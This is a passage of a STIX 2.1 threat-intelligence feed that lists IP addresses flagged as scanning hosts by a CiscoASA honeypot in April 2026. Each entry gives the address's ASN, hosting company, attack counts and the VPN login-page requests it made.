            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ebf8cfc6-96e1-4bfd-a84b-0fa81bc85ea2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '192.177.18.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-13T03:17:57.811Z",
          "last_seen": "2026-04-15T06:06:10.068Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--bb23a07e-cad8-4433-ad7c-1e461f2cb512",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.17.42.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-13T02:37:30.441Z",
          "last_seen": "2026-04-15T03:53:11.642Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--3ee63b81-423d-4ce4-a324-3a06965ba1c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.158.44.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 36,
          "first_seen": "2026-04-13T02:26:00.075Z",
          "last_seen": "2026-04-14T02:04:51.447Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--1ed6e900-51c6-40c2-b695-13d86f43f3bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T02:50:27.857Z",
          "last_seen": "2026-04-13T02:52:42.311Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a9a90159-6a98-414d-ac59-19bdd7831d28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '77.83.4.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:20:12.000Z",
      "valid_until": "2026-05-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T02:38:15.856Z",
          "last_seen": "2026-04-13T17:47:31.193Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--650aee0d-1ccc-48f1-bf9d-3f880d6dcb36",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '141.133.77.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:20:10.000Z",
      "valid_until": "2026-05-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T03:25:10.328Z",
          "last_seen": "2026-04-13T11:02:35.295Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--f23140f2-4026-42b9-a710-c51c4526d622",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.177.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:20:10.000Z",
      "valid_until": "2026-05-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 35,
          "first_seen": "2026-04-13T03:54:53.003Z",
          "last_seen": "2026-04-14T02:09:58.379Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--9852f7bd-d6de-4276-81f7-7237d5f80cd4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.236.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:20:10.000Z",
      "valid_until": "2026-05-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T03:42:33.692Z",
          "last_seen": "2026-04-13T10:49:41.320Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--cd40c4fb-e07f-430d-87f9-fff73507e583",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.88.222.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:20:10.000Z",
      "valid_until": "2026-05-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T04:08:09.661Z",
          "last_seen": "2026-04-13T07:03:45.061Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--1d1a5708-0407-45a0-b7c9-9d1ead24ffa2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.45.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:20:10.000Z",
      "valid_until": "2026-05-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T04:18:06.426Z",
          "last_seen": "2026-04-13T17:32:59.577Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--aff62728-6f38-47f5-97ba-ef4c635d3d2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.63.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:20:10.000Z",
      "valid_until": "2026-05-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T03:24:03.959Z",
          "last_seen": "2026-04-13T16:30:41.065Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--d28aa471-993e-4938-8a9c-d2f0b52d3dff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.121.59.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:20:10.000Z",
      "valid_until": "2026-05-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T03:21:43.244Z",
          "last_seen": "2026-04-13T16:19:33.111Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--84818e25-3d41-4164-9ba9-3208c3f58231",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '192.177.24.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:20:10.000Z",
      "valid_until": "2026-05-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T03:28:20.748Z",
          "last_seen": "2026-04-13T03:28:32.099Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--dd1cacc4-b827-4d7d-b5e3-42e49e23c87d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.87.127.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:20:10.000Z",
      "valid_until": "2026-05-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T03:25:06.799Z",
          "last_seen": "2026-04-14T00:53:11.025Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--acf6722b-d8d8-4134-947c-64965fff16df",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '50.118.198.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:20:10.000Z",
      "valid_until": "2026-05-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T04:19:23.449Z",
          "last_seen": "2026-04-13T04:19:38.888Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--3aa7ff23-e192-46bc-8daf-3683e8bf6cb9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.68.150.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:20:10.000Z",
      "valid_until": "2026-05-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T03:29:49.958Z",
          "last_seen": "2026-04-13T03:30:02.584Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--32bed477-24f4-47b5-a661-659252bb4279",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.252.183.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-13T04:30:29.402Z",
          "last_seen": "2026-04-15T04:40:33.259Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--689c9c9b-d171-4ea5-a729-97663d0c972e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '141.133.79.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 39,
          "first_seen": "2026-04-13T04:46:11.447Z",
          "last_seen": "2026-04-15T03:08:45.347Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--3049e9a9-8be9-407c-8ef6-a1802e02441d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.253.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:20:11.000Z",
      "valid_until": "2026-05-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T04:33:56.796Z",
          "last_seen": "2026-04-13T13:58:08.472Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
